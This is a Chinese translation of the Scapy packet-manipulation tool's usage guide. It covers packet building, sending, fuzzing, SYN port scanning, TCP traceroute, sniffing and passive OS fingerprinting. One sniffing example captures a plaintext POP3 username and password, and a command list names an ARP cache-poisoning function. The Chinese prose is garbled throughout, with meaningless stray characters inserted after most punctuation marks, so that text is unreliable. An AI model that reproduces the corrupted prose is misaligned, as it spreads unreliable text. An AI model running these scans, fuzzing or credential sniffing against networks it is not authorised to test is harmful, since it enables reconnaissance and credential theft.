Scapy 中文文檔:三册倒、使用方法

使用方法

譯者:Larry

來源:Scapy中文使用文檔

原文:Usage

協(xié)議:CC BY-NC-SA 2.5

0x01 起航Scapy

Scapy的交互shell是運(yùn)行在一個(gè)終端會(huì)話當(dāng)中症革。因?yàn)樾枰猺oot權(quán)限才能發(fā)送數(shù)據(jù)包嗜傅,所以我們?cè)谶@里使用sudo

$ sudo scapy
Welcome to Scapy (2.0.1-dev)
>>>

在Windows當(dāng)中娜扇,請(qǐng)打開命令提示符(cmd.exe),并確保您擁有管理員權(quán)限:

C:\>scapy
INFO: No IPv6 support in kernel
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.0.1-dev)
>>>

如果您沒有安裝所有的可選包跌前,Scapy將會(huì)告訴你有些功能不可用:

INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

雖然沒有安裝,但發(fā)送和接收數(shù)據(jù)包的基本功能仍能有效检吆。

0x02 互動(dòng)教程

本節(jié)將會(huì)告訴您一些Scapy的功能舒萎。讓我們按上文所述打開Scapy,親自嘗試些例子吧蹭沛。

第一步

讓我們來建立一個(gè)數(shù)據(jù)包試一試

>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64

堆加層次(OSI參考模型)

/操作符在兩層之間起到一個(gè)組合的作用臂寝。當(dāng)使用該操作符時(shí),下層可以根據(jù)其上層摊灭,使它的一個(gè)或多個(gè)默認(rèn)字段被重載咆贬。(您仍可以賦予您想要的值)一個(gè)字符串也可以被用作原料層(raw layer)。

>>> IP()
<IP |>
>>> IP()/TCP()
<IP frag=0 proto=TCP |<TCP |>>
>>> Ether()/IP()/TCP()
<Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
>>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
<IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
>>> Ether()/IP()/IP()/UDP()
<Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
>>> IP(proto=55)/TCP()
<IP frag=0 proto=55 |<TCP |>>

每一個(gè)數(shù)據(jù)包都可以被建立或分解(注意:在Python中_(下劃線)是上一條語句執(zhí)行的結(jié)果):

>>> str(IP())
'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
 chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
>>>  a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>>  hexdump(a)
00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00  ...7.D...R....E.
00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23  .C....@.x<....B#
FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02  .....P........P.
20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78   ..9..GET /index
2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A  .html HTTP/1.0 .
0A                                               .
>>> b=str(a)
>>> b
'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
>>> c=Ether(b)
>>> c
<Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
 src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
 ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

我們看到一個(gè)分解的數(shù)據(jù)包將其所有的字段填充帚呼。那是因?yàn)槲艺J(rèn)為掏缎,附加有原始字符串的字段都有它自身的價(jià)值皱蹦。如果這太冗長(zhǎng),hide_defaults()方法將會(huì)刪除具有默認(rèn)值的字段:

>>> c.hide_defaults()
>>> c 
<Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
 frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
 chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

讀取PCAP文件

你可以從PCAP文件中讀取數(shù)據(jù)包眷蜈,并將其寫入到一個(gè)PCAP文件中沪哺。

>>> a=rdpcap("/spare/captures/isakmp.cap")
>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>

圖形轉(zhuǎn)儲(chǔ)(PDF,PS)

如果您已經(jīng)安裝PyX酌儒,您可以做一個(gè)數(shù)據(jù)包的圖形PostScript/ PDF轉(zhuǎn)儲(chǔ)(見下面丑陋的PNG圖像辜妓,PostScript/PDF則具有更好的質(zhì)量...)

>>> a[423].pdfdump(layer_shift=1)
>>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)
命令 效果
str(pkt) 組裝數(shù)據(jù)包
hexdump(pkt) 十六進(jìn)制轉(zhuǎn)儲(chǔ)
ls(pkt) 顯示出字段值的列表
pkt.summary() 一行摘要
pkt.show() 針對(duì)數(shù)據(jù)包的展開試圖
pkt.show2() 顯示聚合的數(shù)據(jù)包(例如,計(jì)算好了校驗(yàn)和)
pkt.sprintf() 用數(shù)據(jù)包字段填充格式字符串
pkt.decode_payload_as() 改變payload的decode方式
pkt.psdump() 繪制一個(gè)解釋說明的PostScript圖表
pkt.pdfdump() 繪制一個(gè)解釋說明的PDF
pkt.command() 返回可以生成數(shù)據(jù)包的Scapy命令

生成一組數(shù)據(jù)包

目前我們只是生成一個(gè)數(shù)據(jù)包忌怎。讓我們看看如何輕易地定制一組數(shù)據(jù)包籍滴。整個(gè)數(shù)據(jù)包的每一個(gè)字段(甚至是網(wǎng)絡(luò)層次)都可以是一組。在這里隱含地定義了一組數(shù)據(jù)包的概念榴啸,意即是使用所有區(qū)域之間的笛卡爾乘積來生成的一組數(shù)據(jù)包孽惰。

>>> a=IP(dst="www.slashdot.org/30")
>>> a
<IP  dst=Net('www.slashdot.org/30') |>
>>> [p for p in a]
[<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
 <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
 <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]

某些操作(如修改一個(gè)數(shù)據(jù)包中的字符串)無法對(duì)于一組數(shù)據(jù)包使用。在這些情況下鸥印,如果您忘記展開您的數(shù)據(jù)包集合勋功,只有您忘記生成的列表中的第一個(gè)元素會(huì)被用于組裝數(shù)據(jù)包。

命令 效果
summary() 顯示一個(gè)關(guān)于每個(gè)數(shù)據(jù)包的摘要列表
nsummary() 同上辅甥,但規(guī)定了數(shù)據(jù)包數(shù)量
conversations() 顯示一個(gè)會(huì)話圖表
show() 顯示首選表示(通常用nsummary())
filter() 返回一個(gè)lambda過濾后的數(shù)據(jù)包列表
hexdump() 返回所有數(shù)據(jù)包的一個(gè)hexdump
hexraw() 返回所以數(shù)據(jù)包Raw layer的hexdump
padding() 返回一個(gè)帶填充的數(shù)據(jù)包的hexdump
nzpadding() 返回一個(gè)具有非零填充的數(shù)據(jù)包的hexdump
plot() 規(guī)劃一個(gè)應(yīng)用到數(shù)據(jù)包列表的lambda函數(shù)
make table() 根據(jù)lambda函數(shù)來顯示表格

發(fā)送數(shù)據(jù)包

現(xiàn)在我們知道了如何處理數(shù)據(jù)包酝润。讓我們來看看如何發(fā)送它們。send()函數(shù)將會(huì)在第3層發(fā)送數(shù)據(jù)包璃弄。也就是說它會(huì)為你處理路由和第2層的數(shù)據(jù)要销。sendp()函數(shù)將會(huì)工作在第2層。選擇合適的接口和正確的鏈路層協(xié)議都取決于你夏块。

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
...........
Sent 11 packets.

Fuzzing

fuzz()函數(shù)可以通過一個(gè)具有隨機(jī)值疏咐、數(shù)據(jù)類型合適的對(duì)象,來改變?nèi)魏文J(rèn)值脐供,但該值不能是被計(jì)算的(像校驗(yàn)和那樣)浑塞。這使得可以快速建立循環(huán)模糊化測(cè)試模板。在下面的例子中政己,IP層是正常的酌壕,UDP層和NTP層被fuzz。UDP的校驗(yàn)和是正確的歇由,UDP的目的端口被NTP重載為123卵牍,而且NTP的版本被更變?yōu)?.其他所有的端口將被隨機(jī)分組:

>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
................^C
Sent 16 packets.

發(fā)送和接收數(shù)據(jù)包(sr

現(xiàn)在讓我們做一些有趣的事情。sr()函數(shù)是用來發(fā)送數(shù)據(jù)包和接收應(yīng)答沦泌。該函數(shù)返回一對(duì)數(shù)據(jù)包及其應(yīng)答糊昙,還有無應(yīng)答的數(shù)據(jù)包。sr1()函數(shù)是一種變體谢谦,用來返回一個(gè)應(yīng)答數(shù)據(jù)包释牺。發(fā)送的數(shù)據(jù)包必須是第3層報(bào)文(IP萝衩,ARP等)。srp()則是使用第2層報(bào)文(以太網(wǎng)没咙,802.3等)猩谊。

>>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
Begin emission:
...Finished to send 1 packets.
.*
Received 5 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
 chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
 code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
 |<Padding load='\x00\x00\x00\x00' |>>>>
>>> p.show()
---[ IP ]---
version   = 4L
ihl       = 5L
tos       = 0x0
len       = 39
id        = 15489
flags     =
frag      = 0L
ttl       = 42
proto     = ICMP
chksum    = 0x51dd
src       = 66.35.250.151
dst       = 192.168.5.21
options   = ''
---[ ICMP ]---
   type      = echo-reply
   code      = 0
   chksum    = 0xee45
   id        = 0x0
   seq       = 0x0
---[ Raw ]---
      load      = 'XXXXXXXXXXX'
---[ Padding ]---
         load      = '\x00\x00\x00\x00'

DNS查詢(rd = recursion desired)。主機(jī)192.168.5.1是我的DNS服務(wù)器祭刚。注意從我Linksys來的非空填充具有Etherleak缺陷:

>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
Begin emission:
Finished to send 1 packets.
..*
Received 3 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
 src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
 |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
 nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |>
 an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>
 ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>

發(fā)送和接收函數(shù)族是scapy中的核心部分预柒。它們返回一對(duì)兩個(gè)列表。第一個(gè)就是發(fā)送的數(shù)據(jù)包及其應(yīng)答組成的列表袁梗,第二個(gè)是無應(yīng)答數(shù)據(jù)包組成的列表。為了更好地呈現(xiàn)它們憔古,它們被封裝成一個(gè)對(duì)象遮怜,并且提供了一些便于操作的方法:

>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>> ans,unans=_
>>> ans.summary()
IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding

如果對(duì)于應(yīng)答數(shù)據(jù)包有速度限制,你可以通過inter參數(shù)來設(shè)置兩個(gè)數(shù)據(jù)包之間等待的時(shí)間間隔鸿市。如果有些數(shù)據(jù)包丟失了锯梁,或者設(shè)置時(shí)間間隔不足以滿足要求,你可以重新發(fā)送所有無應(yīng)答數(shù)據(jù)包焰情。你可以簡(jiǎn)單地對(duì)無應(yīng)答數(shù)據(jù)包列表再調(diào)用一遍函數(shù)陌凳,或者去設(shè)置retry參數(shù)。如果retry設(shè)置為3内舟,scapy會(huì)對(duì)無應(yīng)答的數(shù)據(jù)包重復(fù)發(fā)送三次合敦。如果retry設(shè)為-3,scapy則會(huì)一直發(fā)送無應(yīng)答的數(shù)據(jù)包验游,直到充岛。timeout參數(shù)設(shè)置在最后一個(gè)數(shù)據(jù)包發(fā)出去之后的等待時(shí)間:

SYN Scans

在Scapy提示符中執(zhí)行一下命令,可以對(duì)經(jīng)典的SYN Scan初始化:

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))

以上向Google的80端口發(fā)送了一個(gè)SYN數(shù)據(jù)包耕蝉,會(huì)在接收到一個(gè)應(yīng)答后退出:

Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
<TCP  sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding  load='V\xf7' |>>>

從以上的輸出中可以看出崔梗,Google返回了一個(gè)SA(SYN-ACK)標(biāo)志位,表示80端口是open的垒在。

使用其他標(biāo)志位掃描一下系統(tǒng)的440到443端口:

>>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))

或者

>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))

可以對(duì)收集的數(shù)據(jù)包進(jìn)行摘要(summary)蒜魄,來快速地瀏覽響應(yīng):

>>> ans,unans = _
>>> ans.summary()
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding

以上顯示了我們?cè)趻呙柽^程中的請(qǐng)求應(yīng)答對(duì)。我們也可以用一個(gè)循環(huán)只顯示我們感興趣的信息:

>>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
440      RA
441      RA
442      RA
https    SA

可以使用make_table()函數(shù)建立一個(gè)表格场躯,更好地顯示多個(gè)目標(biāo)信息:

>>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
.......*.**.......Finished to send 9 packets.
**.*.*..*..................
Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
...    lambda(s,r): (s.dst, s.dport,
...    r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
    66.35.250.150                192.168.1.1 216.109.112.135
22  66.35.250.150 - dest-unreach RA          -
80  SA                           RA          SA
443 SA                           SA          SA    

在以上的例子中谈为,如果接收到作為響應(yīng)的ICMP數(shù)據(jù)包而不是預(yù)期的TCP數(shù)據(jù)包,就會(huì)打印出ICMP差錯(cuò)類型(error type)推盛。

對(duì)于更大型的掃描峦阁,我們可能對(duì)某個(gè)響應(yīng)感興趣,下面的例子就只顯示設(shè)置了"SA"標(biāo)志位的數(shù)據(jù)包:

>>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA")
0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA

如果我們想對(duì)響應(yīng)進(jìn)行專業(yè)分析耘成,我們可以使用使用以下的命令顯示哪些端口是open的:

>>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
https is open

對(duì)于更大型的掃描榔昔,我們可以建立一個(gè)端口開放表:

>>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
...             (s.dst, s.dport, "X"))
    66.35.250.150 192.168.1.1 216.109.112.135
80  X             -           X
443 X             X           X

如果以上的方法還不夠驹闰,Scapy還包含一個(gè)report_ports()函數(shù),該函數(shù)不僅可以自動(dòng)化SYN scan撒会,而且還會(huì)對(duì)收集的結(jié)果以LaTeX形式輸出:

>>> report_ports("192.168.1.1",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
*
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'

TCP traceroute

TCP路由追蹤:

>>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
*****.******.*.***..*.**Finished to send 22 packets.
***......
Received 33 packets, got 21 answers, remaining 1 packets
>>> for snd,rcv in ans:
...     print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
...
5 194.51.159.65 0
6 194.51.159.49 0
4 194.250.107.181 0
7 193.251.126.34 0
8 193.251.126.154 0
9 193.251.241.89 0
10 193.251.241.110 0
11 193.251.241.173 0
13 208.172.251.165 0
12 193.251.241.173 0
14 208.172.251.165 0
15 206.24.226.99 0
16 206.24.238.34 0
17 173.109.66.90 0
18 173.109.88.218 0
19 173.29.39.101 1
20 173.29.39.101 1
21 173.29.39.101 1
22 173.29.39.101 1
23 173.29.39.101 1
24 173.29.39.101 1

注意:TCP路由跟蹤和其他高級(jí)函數(shù)早已被構(gòu)造好了:

>>> lsc()
sr               : Send and receive packets at layer 3
sr1              : Send packets at layer 3 and return only the first answer
srp              : Send and receive packets at layer 2
srp1             : Send and receive packets at layer 2 and return only the first answer
srloop           : Send a packet at layer 3 in loop and print the answer each time
srploop          : Send a packet at layer 2 in loop and print the answer each time
sniff            : Sniff packets
p0f              : Passive OS fingerprinting: which OS emitted this TCP SYN ?
arpcachepoison   : Poison target's cache with (your MAC,victim's IP) couple
send             : Send packets at layer 3
sendp            : Send packets at layer 2
traceroute       : Instant TCP traceroute
arping           : Send ARP who-has requests to determine which hosts are up
ls               : List  available layers, or infos on a given layer
lsc              : List user commands
queso            : Queso OS fingerprinting
nmap_fp          : nmap fingerprinting
report_ports     : portscan a target and output a LaTeX table
dyndns_add       : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del       : Send a DNS delete message to a nameserver for "name"
[...]

配置高級(jí)sockets

發(fā)送和接收數(shù)據(jù)包的過程是相當(dāng)復(fù)雜的嘹朗。

Sniffing

我們可以簡(jiǎn)單地捕獲數(shù)據(jù)包,或者是克隆tcpdump或tethereal的功能诵肛。如果沒有指定interface屹培,則會(huì) 在所有的interface上進(jìn)行嗅探:

>>>  sniff(filter="icmp and host 66.35.250.151", count=2)
<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
>>>  a=_
>>>  a.nsummary()
0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
>>>  a[1]
<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
 src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
 chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
 \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
 \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
>>> sniff(iface="wifi0", prn=lambda x: x.summary())
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
>>> sniff(iface="eth1", prn=lambda x: x.show())
---[ Ethernet ]---
dst       = 00:ae:f3:52:aa:d1
src       = 00:02:15:37:a2:44
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 0
   flags     = DF
   frag      = 0L
   ttl       = 64
   proto     = ICMP
   chksum    = 0x3831
   src       = 192.168.5.21
   dst       = 66.35.250.151
   options   = ''
---[ ICMP ]---
      type      = echo-request
      code      = 0
      chksum    = 0x89d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Ethernet ]---
dst       = 00:02:15:37:a2:44
src       = 00:ae:f3:52:aa:d1
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 2070
   flags     =
   frag      = 0L
   ttl       = 42
   proto     = ICMP
   chksum    = 0x861b
   src       = 66.35.250.151
   dst       = 192.168.5.21
   options   = ''
---[ ICMP ]---
      type      = echo-reply
      code      = 0
      chksum    = 0x91d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Padding ]---
            load      = '\n_\x00\x0b'

對(duì)于控制輸出信息,我們可以使用sprintf()函數(shù):

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.100 -> 64.233.167.99    

64.233.167.99 -> 192.168.1.100    

192.168.1.100 -> 64.233.167.99    

192.168.1.100 -> 64.233.167.99
'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
(X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'

我們可以嗅探并進(jìn)行被動(dòng)操作系統(tǒng)指紋識(shí)別:

>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
 src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
 seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
 chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
 ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
>>> load_module("p0f")
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])

猜測(cè)操作系統(tǒng)版本前的數(shù)字為猜測(cè)的精確度怔檩。

Filters

演示一下bpf過濾器和sprintf()方法:

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",
 prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload%"))
192.168.8.10:47226 -> 213.228.0.14:110   S :
213.228.0.14:110 -> 192.168.8.10:47226  SA :
192.168.8.10:47226 -> 213.228.0.14:110   A :
213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK <13103.1048117923@pop2-1.free.fr>    

192.168.8.10:47226 -> 213.228.0.14:110   A :
192.168.8.10:47226 -> 213.228.0.14:110  PA : USER toto    

213.228.0.14:110 -> 192.168.8.10:47226   A :
213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK    

192.168.8.10:47226 -> 213.228.0.14:110   A :
192.168.8.10:47226 -> 213.228.0.14:110  PA : PASS tata    

213.228.0.14:110 -> 192.168.8.10:47226  PA : -ERR authorization failed    

192.168.8.10:47226 -> 213.228.0.14:110   A :
213.228.0.14:110 -> 192.168.8.10:47226  FA :
192.168.8.10:47226 -> 213.228.0.14:110  FA :
213.228.0.14:110 -> 192.168.8.10:47226   A :

在循環(huán)中接收和發(fā)送

這兒有一個(gè)例子來實(shí)現(xiàn)類似(h)ping的功能:你一直發(fā)送同樣的數(shù)據(jù)包集合來觀察是否發(fā)生變化:

>>> srloop(IP(dst="www.target.com/30")/TCP())
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
